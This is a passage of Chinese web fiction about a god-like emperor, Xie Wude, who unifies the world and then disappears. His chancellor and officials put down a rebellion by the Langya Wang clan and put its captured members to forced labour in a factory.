这个世界上只有一个太阳,那就是谢吾德。 他们比荣国的人还要急于证明他们对谢吾德的忠诚。 哎,荣国人就是好命,可不需要努力地向谢吾德证明他们的忠诚。 至于琅琊王氏那些人提出的说法……他们只恨不能帮谢吾德把他们全都杀了。 这样的人有什么资格侍奉在神明御前。 几百个人各有心思,但是最后呼喊的只有“吾皇万岁,万岁,万万岁”这样一句话。 【自此,这个世界终于天下一统了,人们前所未有地团结在了一起。】谢吾德的声音带着几分深沉。 他把猫抱起来,跟猫展示了一下:“看,小白,这是朕为你打的雕像。” 神明不语,只是一昧地撸猫。 白猫不懂,只是一昧地和谢吾德贴贴。 这只被谢吾德赋予了长生的猫多少也是半个神使了。 如今的朝堂波谲云诡,谁都长了一百个心眼子,但是在漩涡中心的人想的最少。 亚夏对谢吾德的这种装逼言论十分看不上,他说:【装什么呢?这个世界从诞生起也不过三十年左右。】 还人类从诞生以来。 谢吾德用力地“啧”了一声。 他讨厌拆台的家伙. 天下一统并不是结局,而是一切的开端。 天下一统了之后,并不是万事太平。 这个世界上没有事情是顺理成章的,一切事情都需要去努力。 现在最大的问题就是该怎么管。 这个世界已经没有一片能够再给谢吾德征服的土地了。 至于其他的土地就只剩下真的没人住的南极了,不过在南极可没有什么人给谢吾德捧哏,征服会变得十分无聊。 余文彦都要忙得猝死了,所以谢吾德得帮余文彦召唤一些助手。 谢萍和谢瑛现在比她们最初见到尔雅时年纪还要大了。 二十多年的时间足够把他们从孩子变成中年人了,但是她们也对自己能力有了越来越清楚的认知。 谢萍和余文彦有相同的感觉——力不从心。 她一直知道自己的未来,以及在谢吾德失踪之后她所遇到的的祸事。 谢萍一直在努力提升自己的能力,想要避免这样的结局。 她跟谢吾德说过她清楚自己承受不了太子之位,所以她现在依然也不是太子之类的角色,名义上的太子还是谢吾德在登基的时候立的那两个孩子,但是他们并不怎么出现,所以谢萍和谢瑛一起,尽着类似太子的职责。 她很努力了,但是这个世界不是努力就能成功的,反而越努力越能清晰地感受到自己和自己目标之间令人绝望的差距。 谢吾德把整个世界紧紧地绑定在了一起。 现在整个世界虽说没有战乱冲突,一切战乱甚至都已经平息,整个人类进入到了没有大规模战争的时代,顶多是有部分小规模的冲突,但是也都能很快地被镇压下来。 可是这只是看似平静,实际上就像是被微波炉加热到微妙温度的水一样,只要加上一点粉末,就会剧烈地爆炸起来。 语言、文化和思想,造成了人与人之间的隔阂,人类几乎不可能心意相通。 一切都全靠谢吾德本身的存在镇着。 谢吾德可以用至高无上的暴力和前所未见的神迹,征服所有人,在短时间内改变这个世界所有地区的宗教信仰。但是他却无法控制人们的思想,让所有人都能够打通思维。 谢萍完全控制不住这一切,而且就算是她至今仍然有点崇拜的尔雅来,恐怕也控制不住这样的局面。谢萍只觉得自己胆战心惊,她总觉得自己坐在火药桶上。 一般来讲,她没必要担心,天塌下来了也有个高的顶着。谢吾德看上去又像只布老虎,谢萍的子孙十八代都死完了,他都不一定会死。可架不住谢吾德并不是那种可靠的、会一直负责到底的家伙。 他亲手制造了这个火药桶,打开了定时炸弹的倒计时。但是炸弹不会在他的手上爆炸,可是他却不一定什么时候会把炸弹塞到别人手上。这才是最恐怖的地方。 谢吾德看着最近总是出现在他身边的谢瑛,问道:“你老过来干嘛?” 谢瑛想,果然谢吾德对她的优待已经彻底消失了。不是谢吾德看着谢瑛哪哪都好的时候了。爱已经彻底消失了。 现在荣国已经是一个遍布各大洲大洋的国家了,有着无数问题等待谢吾德解决。可是诡异的是,没人敢拿这件事情来打扰谢吾德,他们担心谢吾德烦了之后,有可能会把他们直接抛弃。所以他们只能期待着谢吾德可以亲自下场解决这些问题。 可是谢吾德怎么可能有良心发现的那一天?可是谢吾德一直没有,他们就只能默默顶上,直到有一天,谢萍在谢吾德面前晕了过去。 谢吾德被她给吓到了。“我勒个……怎么回事啊?” 谢吾德把后半句脏话给咽了下去。 谢瑛赶忙把谢萍扶起来。她有点尴尬地说道:“陛下恕罪。阿萍她从小身体就不是很好。” 谢吾德这才隐隐地想起当时他们说谢萍病弱的事情。 他都快忘了这件事。 主要谢萍的病弱并不是那种会明显体现在脸上的类型。她的虚弱比较隐蔽,难以被人直接发现。 谢吾德又不是一个细心的人,所以既然谢萍没有表现出她的虚弱,加上谢吾德的相关记忆又浅,他就这么忘了这件事,直到谢萍这一次晕倒。 她是累晕的。 谢萍的能力并不算顶尖,所以她更加相信勤能补拙,尽量用自己的努力来弥补自己的不足。 可是谢萍的智力也就是中上水平,她的体力更是次于绝大多数人,她再怎么“勤”也勤不到哪里去。 “快带她下去休息吧。”谢吾德说道。 在他看来,谢萍勉强还能算得上是自己人,所以他不会过分苛待。 累了就去休息,这也是谢吾德的原则。 反正他是甩手掌柜,对事情的紧迫性没有多少实感。 在谢萍被送下去之后,余文彦听到谢吾德自言自语:“她这真的不是在卖惨吗?” 余文彦都倒吸了一口气——谢吾德这感人的道德底线。 这也的确是谢吾德的性格,他其实也一只没把谢萍认真地放在眼里,在他看来谢萍就是一个工具人。 不过余文彦也觉得谢吾德的感觉的确很准。 任谁都能看出来,谢吾德是一个吃软不吃硬的家伙。 谢萍也的确有卖惨的想法,她希望自己哪一天睁开眼睛的时候,谢吾德能认真地出来干点活。 余文彦倒是不能学谢萍的做法,因为谢萍是谢吾德的堂妹。至少在余文彦看来,谢萍的不可替代性要比他高。 余文彦对谢吾德说道:“臣对此一无所知,不如之后陛下,您亲口问一问殿下?” 谢吾德才不想问,万一自己问了之后,对方说她真的是顶不住了该怎么办? 谢吾德其实也是会尴尬的,尤其是担心有人觉得他把工作全都甩给别人做。 他的确可以直接拒绝,而且不会有几个人敢逼迫他,但是能不让人这么问他,还是尽量不要让人这么问他。 虽然就算问了也没办法让谢吾德破防,但是这种事情就像是大街上遇到的野狗,不至于让谢吾德扭头就跑,可是他也很讨厌野狗。 现在这个世界绝大多数人都会信仰谢吾德,但是这并不代表他们就会把谢吾德派过去的官僚视为“神使”之类的角色。他们仍然是不服的。 他们对谢吾德的崇拜并没有延伸到荣国派来的官员身上。 因为谢吾德只是摆平了这些人和谢吾德之间的冲突,但是谢吾德手下的官员和他们当地人的冲突却一直没有被解决。 谢吾德是一个独行侠,他在办事的时候很少会帮忙照顾一下手下人的工作。 但凡谢吾德愿意站出来做点什么事情,他们都会比现在要好过。 可是谢吾德就是不干事,这让大家都十分头疼。 也不是没人和谢吾德说,但是他就是喜欢刁难人。 大概是因为卖惨招数已经被两个世界的人用过了,所以谢吾德只要看到前摇就会瞬间消失。 对于现在的情况,尔雅也觉得十分难搞。 她很想通过自己的力量解决这些事情,可是解决这件事情的代价却是大量无辜者的鲜血,而且这既然是可以回避的事情,那就没必要变得血流成河。 这也不仅是尔雅自己的想法,也是那些官员的想法。 仓廪实而知礼节。 在现在食物充足的当下,就算如今的体系仍然是封建官僚体系,资源的溢出让官僚体系无法完全吃下所有的好处,于是资源一处,这些剥削者完全有余力散发自己的爱心了。 或者说,想要赢得生前身后名了。 不过现在还不是最糟糕的情况,他们总是怀疑之后还有更糟糕的事情要发生。 所以现在所有人心里只祈祷着一件事情:求求谢吾德不要再搞出幺蛾子了。 他一定要稳住。 可是事与愿违。 如果谢吾德不闹出幺蛾子,那就不是谢吾德了。 在一个普普通通的一天,谢吾德消失了。 没有任何征兆,而且他也没有留下任何消息,就好像他从来没有在这个世界出现过一样。 而同年,大概是因为荣国的领地极速扩展,导致了整个世界的沟通也增加。 这并非一件好事,尤其是在这个目前还很缺乏卫生知识的世界,这导致了多种瘟疫的爆发。 在谢吾德不在的当口,没人能够处理得了这件事。 虚伪的和平,终究还是没能支撑得下去。 战争爆发了,而余文彦现在大概只有一种想法,那就是这一天终于到来了。 谢吾德不会直接带来灾难,可是他本身过分强大的力量就会让他在即使不是故意的情况下也会一地尸骸。 因为之前已经有了天幕的预警,所以大家对谢吾德是什么货色都有一点预感了,他们不会毫无准备地面对如今的场面。 没有多少犹豫,余文彦和谢萍还有谢瑛就下达了命令。 首先是直接和被他们武力控制的地方切割,把主要的兵力集中在荣国过去领地的范围内,确保不要发生动乱,然后便是调动资源,把各地放在仓库里的装备都发放到每个人的手中,他们要预防着那些被他们抛弃的人反向过来冲击他们。 这个决定十分残酷,直接把其他人当成了弃子,可是余文彦能力有限,他们不是谢吾德,妄图控制他们没办法控制的范围只会让所有人都陷入最糟糕的局面。 弃车保帅才是最明智的做法。 都说荣国现如今四方臣服,但是四方臣服的是谢吾德这个皇帝,而不是他们。 外面的那些人对他们的尊重也是来自于谢吾德更把他们当成自己人,他们得到了谢吾德更多的偏爱,而不是发自内心地认可他们。 文化习俗之间的差距大到他们彼此之间都难以沟通的地步。 余文彦在宫中做的第一件事就是拿起之前谢吾德用来联系世界各地官员的盒子,给尔雅发了一条消息。 以前这种东西只能由谢吾德自己用,他们都知道谢吾德比较爱干净,不喜欢别人碰他的东西,就连其他人给他打扫,他都会感到不快。 现在谢吾德不在了,余文彦就不在意那么多了。 事有缓急轻重,他现在也一把年纪了,他前半生极其擅长明哲保身,擅长在各种人手上苟全自己的性命,可是到了现在这个年纪,他也会想要做一些以前没做过的决定。 尔雅那边传来的消息说到:“我们这边的事态已经控制住了。” 尔雅和林耀祖两个人在南方经营多年,已经积累了相当的人脉和声望,随时可以将它们转化为实际的力量。 余文彦松了一口气。 那边控制住了就好。 战乱不是从外部来的,而是从内部开始的。 动手的人不是别人,正是现如今已经回到琅琊的家伙们。 然后他随手把手中的剑插在了地上,让琅琊王氏的人一阵颤抖。 琅琊王氏…… 有的时候余文彦也不知道该怎么评价他们,他们在谢吾德在位期间,真的就是潜身缩首,不敢闹出一点动静来,但是在谢吾德消失的那一瞬间,他们就瞬间集合起来,将之前蛰伏的力量尽数挥洒出去。 世家,果然就没有好东西。 他们造反了。 世家就是世家,即使被谢吾德痛殴了这么多年,他们也依然没有放弃自己最开始的计划。 “你说你们这是何必呢?”余文彦看着倒在地上的王旭,“我们也认识了这么多年了,我们非要走到如今的这一步吗?” 王旭嗤笑一声,他对于文彦的虚伪实在是看不上眼,说道:“你在说什么话呢?” 王旭并没有被人摁在地上动弹不得。 这些被余文彦命令着前来镇压判断的人对于琅琊王氏的家主还是表示了一定的尊重,这也是所谓对士大夫的优待,以及对琅琊王氏学说的某种认可。 他们中绝大多数人其实是谢吾德的禁卫——不被需要的禁卫,所以他们大多是不赞同琅琊王氏所提出来的想法的,但是琅琊王氏已经被许许多多的士人所接受,他们自然也会对这些人表示尊重。 他们不让王旭受到太过于明显的屈辱,但是显然也没打算让王旭好过。 王旭得眼睁睁地看着自己的子孙一个个被人抓走。 他手里端着茶盏,可是细心的人看过去,就会发现这茶盏上的液体一点都没动。 “是尔雅那个女人让你们这么做的吧?”王旭看着余文彦说道,“不愧是你,现在也算是三姓家奴了吧?” 面对着余文彦,王旭不吝啬用恶毒的话来对他进行攻击。他说的也的确是事实。 余文彦先是投了二皇子,然后便是谢吾德,在谢吾德消失之后,又立刻站在了尔雅那一面。 身段何其柔软,堪称毫无风骨。 余文彦愣了一下。 其实他倒是没想那么多,他帮尔雅纯粹是因为尔雅是那个唯一一个能够提前做好和谢吾德对抗的准备、又不是太过于愚蠢的人,她是一个十分值得被帮助的人。 这才是他出手的唯一理由。 他看不上琅琊王氏,主要还是因为琅琊王氏的表现并不佳。 其他人还可能会被琅琊王氏的表现所迷惑,可是余文彦作为这朝堂的中心角色,他可太清楚琅琊王氏目前所面临的分裂状态。 别说什么琅琊王氏的核心成员并没有被这些学说所影响,琅琊王氏又不是只靠核心成员就能够成功的,他们也需要家族其他人甚至是无数边缘人的帮忙,需要家族每个成员都为主家作出贡献,这样才能聚沙成塔,让琅琊王氏掌握庞大的权力。 他余文彦对王旭说的话只是一笑了之,没有想到自己的名声会变成什么样子。 如果在过去,他也许会对这种事情在意得不得了。 可是他都到了现在这把年纪了,这些事情就显得无足轻重了。 名声是什么很重要的事情吗? 更何况就算有人辱骂他,这也只不过是一时的。后世的人只要看到他做出了实事,那就会给他一个公正的评价。 “这就不劳您费心了。我想我的名声还没有重要到那个地步。”余文彦还是很潇洒了。 王旭对余文彦的回答没有表示出任何意外,或者说在他眼中,余文彦本来就是这样的人,一个没什么节操和矜持的家伙,与他为伍,是他们这些世家子弟的耻辱,即使到了现在,余文彦高居丞相之位,而他则成了阶下囚也依然如此。 王旭是如今琅琊王氏的家主。 他缓缓地闭上眼睛,准备迎来当初出类似临川陈氏一般的结局。 他的祖父用鲜血为琅琊王氏换取了一条暂时活下去的路,可是这条路并不是永远保险的。 现在他们的尝试也失败了,他们大概就要迎来迟到几十年的最后结局了。 然而王旭等了许久,他都没有听到半点的惨叫声。 如果是谢吾德在这里的话,那大概早就血流成河了。 余文彦比起谢吾德来说还是太过于温柔了。 他又睁开了眼睛,看向余文彦说道:“你在等什么?成王败寇。你如今还要心慈手软吗?” 琅琊王氏中无人敢让王旭不要再说这样会激怒余文彦的话了。 王旭是一手将琅琊王氏打造成如今这天下第一世家局面的人,虽然世家的力量不比以往强大了,可是他依旧让琅琊王氏成了世家中一股特别的力量。 王旭是琅琊王氏名副其实的家主,就连那些如今已经不是很支持琅琊王氏本家所作所为的家族成员,也不会当面顶撞王旭。 余文彦拿出了手上的盒子。 王旭看着那个盒子眼皮一跳,他说:“你在等什么?” “在等尔雅的消息?” “你等她的消息干什么?”王旭的心中有一点不太好的预感。 “等等她说她要怎么处理我你们。”余文彦很是平静地说道。 王旭却猛地睁大了眼睛,他问:“你疯了吗?难道你要听一个女流之辈的命令吗?你该不会把那个女人看作是自己的主人了吧。” 王旭十分激动,甚至比之前还要激动。 将近三十年,他依然是最初的那个自己,他从来没有改变过,他是封建势力最大的代言人。 虽然他之前借用胡增鑫所说的理论把自己包装成一个非常尊重其他人的人,可是这本质上是别人的想法,别人的学说,他从来没有真心地认同过,一切只不过是一种虚假的人设。 余文彦不在意这个,他只不过是寒门出身,被自己的母亲一路带到南方活了下去,他没有和这些世家子弟一样,和那些女性有相当之远的距离。 他和那些人亲自地接触过,利用过她们也被他们利用过,不管好坏,这种接触往往是打破偏见的重要方式。 “我只在意现在谁能够解决这些问题,而你们……”余文彦上下打量着王旭,“看样子你们是那个被解决的人。啊,好像来了消息。”余文彦打开盒子,看到了里面的一封信,他脸上带上了一点笑意。 王旭深吸了一口气,不让自己表现得太过于狼狈:“好了,先说说你的那位女主人是打算怎么处理我。” 余文彦没有接王旭的话茬,而是说道:“硬要说的话,我的主人依然是陛下,如果陛下回来的话,我依然会是他的丞相。我现在只是帮他保护住荣国的这些东西。” 余文彦把手上的纸往王旭面前一递,“你自己看看吧。” 王旭深吸了口气,然后拿起了那张纸。他的脸色看上去更难看了。 “你们不如杀了我吧。”他说。 第117章 二十多年前,余文彦在琅琊王氏面前还是相当弱势的。 在有谢吾德之前,余文彦只是琅琊王氏的马前卒,而在有谢吾德之后,余文彦也不是很敢大声和琅琊王氏说话。 谢吾德当年看着王老爷子有趣的表现,于是放了琅琊王氏一马,并没有直接对琅琊王氏造成太大的破坏。 这就导致琅琊王氏在各地的田地和人脉并没有太大的损失。 虽然只要谢吾德有什么需求,他们就会老老实实地把自己的爪牙收回去,但是如果谢吾德不管的话,那么他们就会展示一下什么叫世家。 余文彦在他们面前还是吃了不少亏的。 谢吾德知道余文彦吃亏了也不管,他还挺喜欢看余文彦和琅琊王氏之间斗的,虽然有时候他看不明白余文彦和琅琊王氏之间的弯弯绕绕,不过他可以看热闹。 现在二十年过去了,琅琊王氏虽然变成了天下第一的世家,但是世家的整体实力早就没办法和过去相比了。 而如今的余文彦在谢吾德不在的时候,作为辅佐皇帝统治世界的丞相,他还是有着相当高的声望。 在指挥禁军的时候,只要不明着触犯他们的底线——比如说剑锋直指谢吾德的皇权——他们就是余文彦的助力。 针对世家是绝对不会触犯到禁军的利益的。 毕竟众所周知,这个世界上最针对世家的就是谢吾德了。 既然他们所崇拜的人都这么认定了,那么顺应余文彦去针对世家,就是一件毫无错处的事情。 琅琊王氏在谢吾德的狂热信徒面前,没有半点招架的能力,只有束手就擒的份。 琅琊王氏本家也就几十个人,想要把他们抓起来并不难。在谢吾德的几次铁拳打击下,他们在都城留下的家丁也不像以前那么多了。 尔雅过来的时候,她看了余文彦一眼,问道:“王旭没有自杀,对吧?” 余文彦摇摇头说:“没有。” “果不其然呢。他没有选择死亡。”尔雅用一微妙语气说道。 “没必要。”余文彦不是觉得王旭没有这个胆识,他了解王旭。 他能够忍着祖父几乎是死在谢吾德手中的仇恨,在谢吾德手下做一个看似忠心耿耿的臣子,这么忍了二十多年——这样的人是不会轻言放弃的。他的骨子里有着相当的偏执。如果说皇室脑子有病的人多,那世家脑子有病的人也不少。 王旭一直都是一个有点冷酷的人。 他不自杀是因为他知道他现在的对手和谢吾德不一样。 谢吾德只要被取悦了,那什么都可以谈,但是现在他面对的对手可不一样。 大家都清楚谢吾德只是暂时离开,就冲着这个世界未来的乐子,他都会对这里保持着一定的关注。在这期间,他肯定是希望其他人能够给他制造更多的乐趣的。 尔雅就是给他制造乐趣的人。 在王旭面对尔雅的时候,尔雅可不会像谢吾德那样,只要高兴了就会放他一马。 王旭想要保住更多属于琅琊王氏的人。 余文彦看向尔雅,他说道:“我觉得王旭可能想要和你谈谈。” 余文彦的眼神带着几分看破一切的了然。 他看着尔雅,似乎想要从她脸上看到答案一样。 尔雅冲着余文彦一笑。 即使她如今已经五十岁了,但是在她笑起来的时候,仍然有一种美艳的感觉。这种美艳不是在她的皮囊上,而是一种骨子里和其他人都与众不同的魅力,这种独特很容易让其他人为之着迷。 余文彦早就发觉不对劲了。 尔雅身上的独特不是无害的,这就是有毒生物的美感。他们总是鲜艳的、与众不同的,能够让人一眼看见的。 琅琊王氏恐怕就是中了尔雅的毒。 琅琊王氏的最佳叛变时间并不是现在。 最适合琅琊王氏的策略,其实是在尔雅他们发动之后响应他们,然后凭借他们在学术理论上的地位夺取话语权,进而颠覆整个王朝,成为新时代的世家。 现在他们动手太快了,快刀对他们毫无益处。 而恰巧的是,在琅琊王氏失败之后,终究有人自杀了。 选择自杀的琅琊王氏成员其实过去就提出了不少有悖于琅琊王氏本家真正想法的观点。 他是和琅琊王氏所提出的学说站在一面的,只不过是最近一段时间他好像改邪归正了一样,又重新支持起琅琊王氏本家了。 这种事情对于琅琊王氏来说并不奇怪,总有人在接受了外面的毒打之后,意识到家族的好处,重新选择投入世家的怀抱。他们之前也以为这只不过是那些扛不住外界压力的人之一。 再仔细研究下去,就会发现,琅琊王氏的动手充满了仓促。 他们好像是被故意挑起了争端,冲着禁军开了第一枪,制造出了无法洗脱的谋逆罪名。 琅琊王氏为了压下整件事情,不得不投入更多的力量,这份力量被人裹挟利用,造成了更大的冲突和仇恨,让琅琊王氏和禁军之间有了不可调和的矛盾。 他们就只能硬着头皮走到黑,整个被拉下了水。 那几个自杀的人是为了让一切死无对证而存在的,他们不能活着,不能有翻供的可能。 他们就要把琅琊王氏钉在耻辱柱上。 琅琊王氏的本家大多都是不支持他们自己所宣扬的那些理论的,可是大多数并不代表全部。 这个世界上,总是有着不同观点的人。 你中有我,我中有你。 这本就是一条从一开始就非常容易翻车的道路。 他们选错了策略,而他们的对手无疑也极其狡猾。 当年尔雅可是为三皇子的篡位出谋划策。 虽然三皇子没有听她的,但是并不代表尔雅的想法就是错的。 这件事情本身也有当初三皇子给尔雅的一些提示。 出谋划策的人想得再好有什么用?这个世界上有些人就是有着自己莫名其妙的想法。 所以余文彦有理由怀疑,尔雅才是琅琊王氏谋逆的罪魁祸首。 多么可笑,一个不姓王的人,却以琅琊王氏的名号让整个琅琊王氏陷入了灭顶之灾。 余文彦觉得自己的小猜测多半是真的,只不过他并不怎么在意。 余文彦本身就是身段灵活的人,他有点唯结果论的倾向。 尔雅既然能够做到,那有什么不能做的呢? 不怕想法坏,就怕行动没能够成功,那才是最丢人的。 “现在带我去见见王旭吧。”尔雅说道。 她对于文彦那种带着点奇怪的眼神没有表示出任何的尴尬。 做人就要脸皮厚一点。 就算这件事情真的是她做的,那又怎么样?余文彦还能够因此不支持她吗?. 工厂里,咔咔咔的声音接连不断地想着,一群人坐在缝纫机前埋头干着自己的活。 灯火通明的工厂让人近乎丧失了对时间的判断,只有不停地埋头苦干。 如今,琅琊王氏的人就在这里干活,就像是这个世界上最平凡不过的人一样。 世家一直都自诩与众不同,更是瞧不起女红这样女人干的活。 不过形式比人强,他们还是出现在了这里。 王旭抬起头,他看着走过来的尔雅,脸上流露出一丝恼火,不过这次恼火很快地就被他压了下去,转而变成了一片平静。 尔雅走了过来,她微笑着点评着面前递过来的东西,然后说道:“这做的真不行啊。琅琊王氏的家主,连这种事情都做不好吗?这种活就连那些百姓都能干,你们怎么就干不了?难道真的就只能高高在上地指指点点,其他的一点都不会吗?” 王旭笑了一声,他用一根手指把尔雅推远:“都说士可杀不可辱,你们把我们这些世家大族弄到这种工厂来干活,就是在折辱我们!” 当时说要见尔雅的是他,但是真的见了尔雅,最嫌弃的人也是他。 “哦,那么琅琊王氏的人怎么就在这里干活了?”尔雅毫无所动。 王旭的脸看上去更黑了。 当然是因为不干活就得死。 余文彦不会直接杀他,但是他完全可以不给他饭吃,能够硬生生饿到王旭昏厥过去。 余文彦心黑手狠的程度,无需怀疑。 之前王旭怀疑,他现在下手这么狠,也有打击报复的成分在。 王旭现在又没打算现在去死,最后就只能妥协干活了。 琅琊王氏其他人倒不是不想帮他,而是谁帮他,谁就会被连坐,最后饿晕的人从一个变成两个。 琅琊王氏都成了现在这个样子,王旭的一切都被余文彦所掌控,余文彦还真能让他赢了不成? 尔雅却好像没有听到王旭的话一样,在那里嘀嘀咕咕,点评着,不停地点评着王旭干的活:“哎呀,你们琅琊王氏就是不行啊,但凡没有祖先的庇护,现在都会是什么样子?” 王旭紧紧皱眉,说道:“临川陈氏就好到哪里去了吗?” 尔雅把他说的有点难受了,他就去戳尔雅的肺管子。 临川陈氏可是比琅琊王氏还要大的一个失败者,现在他们家还有几个人活着吗? “唉,你不要把我当成临川陈氏的人。”尔雅让王旭给她让开一条道,然后拿着缝纫机飞快地缝了一件衣服出来,“你要摆正自己的心态。我不杀你,并不代表你们还可以继续像以前那样还可以继续过去那样的生活。我可不是在羞辱你,而是在教导你们宝贵的生存力量。不要除了阴谋诡计、权谋诈术之外,什么都不会做。” 尔雅说话之间就给王旭展示了一下自己弄好的衣服,然后从跟着自己来的人手中拿到了一份报纸,丢给王旭。 如今荣国印刷业也逐渐发达,报纸满天飞。 尔雅丢给王旭看的正是如今荣国的一份知名报纸,上面写着琅琊王氏谋逆事件的始末,以及琅琊王氏的人现在的处境,上面都清清楚楚地写着,并且表示这是在教导他们谋生的手艺。 其实现在还有很多人是不相信这件事情的。 琅琊王氏把自己塑造成了如同圣人一般的角色。 很多人都相信琅琊王氏要不是有着救世的心肠,又怎么会提出这样的观念呢? 现在这样的话能够堂而皇之地被刊印在报纸上,就意味着琅琊王氏大势已去了。 一句话重复的人多了,那就是真理了。 他们已经不是世家了,而是曾经是世家的失败者。 成王败寇,这条道理是古今中外颠扑不破的。 胜利者有足够的时间去改变自己不合适的政策,掩盖过去充满错误的历史,以及塑造自己在所有人心中的形象。 琅琊王氏如今近乎被一网打尽,而在外面的族人也大多都被琅琊王氏过去所宣传的那些学说所影响,对他们本家的支持度只能算是一般。 至少在一段时间内,他们不会为琅琊王氏奔走,洗白琅琊王氏的名声。 在某一瞬间,王旭甚至怀疑过自己当时定下的策略是否正确。 恐怕现在琅琊王氏中也有很多人都在怀疑这件事情。 不过这种想法也只是转瞬即逝。 王旭十分确定,如果当初他们没有做出这样的决策,给谢吾德提供足够乐趣的话,那么他们当时就得被谢吾德解决掉,那还有今天的局面。现在已经算是很不错了。 “那还真是难为你为琅琊王氏考虑这么多。”王旭不无嘲讽地说道。 “不必言谢。”尔雅粗声道,“都是亲戚。” 王旭觉得这个笑话一点都不好笑。 一般来说,大家都不会这么算。 琅琊王氏和临川陈氏虽然是老对手了,但是他们两家千年来不知道有多少次联姻,甚至还有亲上加亲的事情发生。 整个上层就是一个巨大的亲戚圈。 只不过大家都是跟着自己的姓氏走,或者跟着夫家的姓氏走。 这个世道都说嫁出去的女儿,泼出去的水,算不上是自家人。 父母都这么教了,那些被嫁出去的女儿自然也把自己当成被泼出去的水。 更何况谁要是真的去攀母家的亲戚的话,那都是整个家族的耻辱。 怎么家里没人了,需要你去求外人? 是故意想让外人看看自家的笑话吗? 所以除非真的家族没落,不然没人会提这种事情。 可是尔雅现在真的就是不走寻常路了。 掌握对琅琊王氏的生杀大权之后,她想要攀关系就可以攀上,而且现在其实还是尔雅他们这边占优,琅琊王氏反而才是没落的那个,这让王旭有点难受。 “你留着我们,肯定是想要做什么吧?”王旭深吸了一口气,让自己冷静下来。 对于危险的对手,那当然是要斩草除根为敬了。 其实之前世家斗争的时候,大家都不会做得太难看。 虽然世家之间提亲戚关系没什么用,但是还是会防止大家把事情做得太绝,比如说真的搞出了让对手满门抄斩的事情。 真要满门抄斩,家里的那些女人就算是会觉得自己是被泼出去的水,但是她们也是被父母养大的,不可能无动于衷。 所以大家一般都是流放了事,让他们自己死,也好过让人直接死在自己手中。 至少不能看上去太有冲击性。 可是谢吾德开了一个坏头。 谢吾德打破了世家之间不把事情做绝的默契,顺便把满门抄斩变成了谢吾德之后的传统——杀的就是全家。最好连小孩都不要放过,外嫁女也一并拉过来干掉。想当初偷别人家鸡蛋的时候还来一句,不是太费事的话连蛋黄都要摇匀了。 王旭觉得尔雅也会在这样的有利环境下,自然会选择遵循谢吾德的规则,要杀就杀个痛快。 “我不会杀你的。”尔雅对王旭说道。 王旭没有感觉到半分的高兴,他皱眉看着尔雅,用一种没有半点信任的语气说道:“我不信。” “有什么好不信的呢?” “我不信你有这么好心。”王旭直接说道。 真的会有人以为尔雅是那种绝对正义的人吗? 他可是知道当时尔雅欺骗林耀祖的事情,只不过林耀祖自己都不在乎这件事情,他们这些外人说了也只是给尔雅徒增笑料。尔雅做这种事情的时候太过于坦然了,甚至连林耀祖自己都觉得这完全不值得生气。 不过从这件事也不难看出,尔雅本质上就是非常擅长欺骗和伪装、撒谎不眨眼的存在,而且有利可图的时候,她连诓骗自己都可以毫不眨眼。 这样的人会像她宣称的那样,是一个光明正大的家伙? “你的目的到底是什么?”王旭皱着眉看着尔雅。 尔雅对着他微微一笑,然后猛地靠近他。 她离王旭十分之近,王旭能够感觉到尔雅的呼吸。他的心脏猛地一跳。 这个距离实在是过分暧昧了,如果换个人换个情境,他会觉得这个人是想要对他自荐枕席。 可是眼前的人是尔雅,他可不会有这么美的幻想。 别的女人还能够被说一句“温柔乡”,但是尔雅就是纯粹的用最甜美的花香作为掩饰的猛兽。 王旭可不是那些被女人杀了之后、在死前再念一句“原来女人也是会杀人的”的傻子。 他要是敢对尔雅的心脏多跳动一下,那么尔雅之后就会向他索要惊人的代价。 王旭也不想也不能后退,因为后退就意味着胆怯,意味着他在和尔雅的斗争中主动认输了。尔雅更要嘲笑他。 两个人就这么僵持了足足一分钟。 尔雅的眼睛弯了起来,然后她说:“你真的觉得我有那么多倾诉欲吗?” 尔雅直起身。她在站直身子、低着头看着王旭的时候,眼睛里的戏谑更加明显。 王旭有点想骂人。 他被耍了。尔雅的谨慎,远超他的想象。 可是尔雅已经准备走了。她在走之前扭头看了王旭一眼,说道:“你可别死啊。” 王旭不想搭理她。 世家的家主就有如皇帝一般,而他如果不能做琅琊王氏的家主的话,那他人生的意义就彻底消失了。 就像余文彦不怀疑王旭有自杀的勇气一样,尔雅也不怀疑王旭的勇气。她不想让王旭去死,不是出于他们之间完全不存在的亲情,而是觉得王旭去死,对她的计划没有半点好处。 尔雅只是对王旭说:“好好改造,说不定有一天我们会在外面再次相见的。” 王旭闭了闭眼,眼睛里已经没有一开始的那些慌张了。 他已经知道尔雅的最终目的了。 琅琊王氏对他们自己提出的学说是嗤之以鼻的,但是想要把别人唬得一愣一愣的,那就必然要把其中每一个字都悟透,把别人想要反驳他们的观点都说清楚。只要往这个方向去想,他轻而易举地就能推测出尔雅的真实目的——让他们从世家变成普通人。 这不是一个简简单单的排除政敌的手段,而是想要把琅琊王氏做成一个象征,一个向世人展示的象征。看上去就像是被展示的动物一样。 当然,其实如果可以的话,他们可能更加希望让皇帝成为一个普通人。 不过现在谁能抓住皇帝呢? 如果把琅琊王氏比喻成林中的斑斓猛虎的话,那么谢吾德就是那种只会出现在书上的神话生物。 人类用刀枪还能够杀死老虎,但是在面对那种有着移山填海能力的存在的时候,还是显得太弱小了。 就算有再坚定的意志,那也要掂量一下自己的能力。 别的不提,谢吾德已经失踪将近三个月了,谁也不知道他去哪里了。 没有人提出寻找太子继位之类的话,因为他们都知道谢吾德早晚会回来的。 等着这个世界出现更多有趣的变数的时候,就是谢吾德回来的时候。 “可别告诉我你不想知道谢吾德这么针对你们的理由。”尔雅笑了笑,看着王旭。 王旭知道尔雅的想法,可是他也的确想要再问一下谢吾德,为什么要这么针对他们呢? 琅琊王氏好像是他玩不腻的玩具一样,在他的手上反复被揉圆捏扁。 前他不问不是没有机会,而是当时的局势让他顾忌很多,可是他现在已经是阶下囚了,没有这样的顾虑了。 现在的王旭就渴求一个答案。 尔雅不知道什么时候,忽然拿出了一场照片:“或者说,你要是死了,我就把这张照片放在报纸上。” 王旭看向了那张照片,是不知道哪里的人偷拍的他干活的照片。 王旭的脸腾一下红了:“卑鄙无耻!”. 现在的情况很复杂。 谢萍不想做皇帝,因为她知道自己做皇帝没有任何好处,她也无力去改变些什么。 谢瑛同样也拒绝了,她并不觉得自己的能力比谢萍突出。 宗室倒是有不少人,可是但凡有资格碰一碰皇位的,都清楚自己如果当了皇帝之后,坏结局有无数种,好结局几乎就不可能存在。 只要谢吾德回来,他就会把侵占他位置的人给杀掉。 